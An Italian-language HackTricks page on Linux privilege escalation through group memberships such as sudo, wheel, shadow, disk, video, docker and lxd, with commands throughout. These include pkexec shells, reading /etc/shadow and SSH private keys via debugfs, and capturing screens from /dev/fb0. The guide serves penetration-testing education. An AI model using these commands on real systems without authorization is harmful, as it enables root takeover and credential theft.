hacktricks/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
2024-02-10 13:03:23 +00:00

8 KiB

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Gruppi Sudo/Admin

PE - Metodo 1

A volte, per impostazione predefinita (o perché alcuni software ne hanno bisogno) all'interno del file /etc/sudoers puoi trovare alcune di queste righe:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

Ciò significa che qualsiasi utente che appartiene al gruppo sudo o admin può eseguire qualsiasi cosa come sudo.

Se questo è il caso, per diventare root puoi semplicemente eseguire:

sudo su

PE - Metodo 2

Trova tutti i binari suid e controlla se c'è il binario Pkexec:

find / -perm -4000 2>/dev/null

Se trovi che il binario pkexec è un binario SUID e appartieni al gruppo sudo o admin, probabilmente puoi eseguire binari come sudo utilizzando pkexec. Controlla il contenuto di:

cat /etc/polkit-1/localauthority.conf.d/*

Qui troverai quali gruppi sono autorizzati ad eseguire pkexec e per impostazione predefinita in alcuni sistemi Linux possono apparire alcuni dei gruppi sudo o admin.

Per diventare root puoi eseguire:

pkexec "/bin/sh" #You will be prompted for your user password

Se si tenta di eseguire pkexec e si riceve questo errore:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

Non è perché non hai le autorizzazioni, ma perché non sei connesso senza una GUI. E c'è una soluzione alternativa per questo problema qui: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Hai bisogno di 2 sessioni ssh diverse:

{% code title="sessione1" %}

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session

{% code title="session2" %}

pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

{% endcode %}

Gruppo Wheel

A volte, per impostazione predefinita all'interno del file /etc/sudoers puoi trovare questa riga:

%wheel	ALL=(ALL:ALL) ALL

Ciò significa che qualsiasi utente che appartiene al gruppo wheel può eseguire qualsiasi cosa come sudo.

Se questo è il caso, per diventare root puoi semplicemente eseguire:

sudo su

Gruppo Shadow

Gli utenti del gruppo shadow possono leggere il file /etc/shadow:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

Quindi, leggi il file e prova a craccare alcuni hash.

Gruppo del disco

Questo privilegio è quasi equivalente all'accesso di root poiché consente di accedere a tutti i dati all'interno della macchina.

File: /dev/sd[a-z][1-9]

debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

Nota che utilizzando debugfs puoi anche scrivere file. Ad esempio, per copiare /tmp/asd1.txt in /tmp/asd2.txt, puoi fare:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

Tuttavia, se provi a scrivere file di proprietà di root come `/etc/shadow` o `/etc/passwd`, otterrai un errore "Permission denied".

Gruppo Video

Utilizzando il comando w puoi trovare chi è connesso al sistema e mostrerà un output simile al seguente:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

Il tty1 significa che l'utente yossi è connesso fisicamente a un terminale sulla macchina.

Il gruppo video ha accesso alla visualizzazione dell'output dello schermo. Fondamentalmente, è possibile osservare gli schermi. Per farlo, è necessario acquisire l'immagine corrente sullo schermo in formato dati grezzi e ottenere la risoluzione che lo schermo sta utilizzando. I dati dello schermo possono essere salvati in /dev/fb0 e è possibile trovare la risoluzione di questo schermo su /sys/class/graphics/fb0/virtual_size.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

Per aprire l'immagine grezza puoi utilizzare GIMP, selezionare il file screen.raw e selezionare come tipo di file Dati immagine grezzi:

Successivamente, modifica la Larghezza e l'Altezza con quelle utilizzate sullo schermo e verifica i diversi Tipi di Immagine e seleziona quello che mostra meglio lo schermo:

Gruppo Root

Sembra che di default i membri del gruppo root possano avere accesso per modificare alcuni file di configurazione dei servizi o alcuni file di librerie o altre cose interessanti che potrebbero essere utilizzate per l'elevazione dei privilegi...

Verifica quali file possono essere modificati dai membri del gruppo root:

find / -group root -perm -g=w 2>/dev/null

Gruppo Docker

È possibile montare il file system radice della macchina host su un volume dell'istanza, in modo che quando l'istanza viene avviata, carichi immediatamente un chroot in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina.

{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}

{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}

Gruppo lxc/lxd

lxc - Privilege Escalation

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: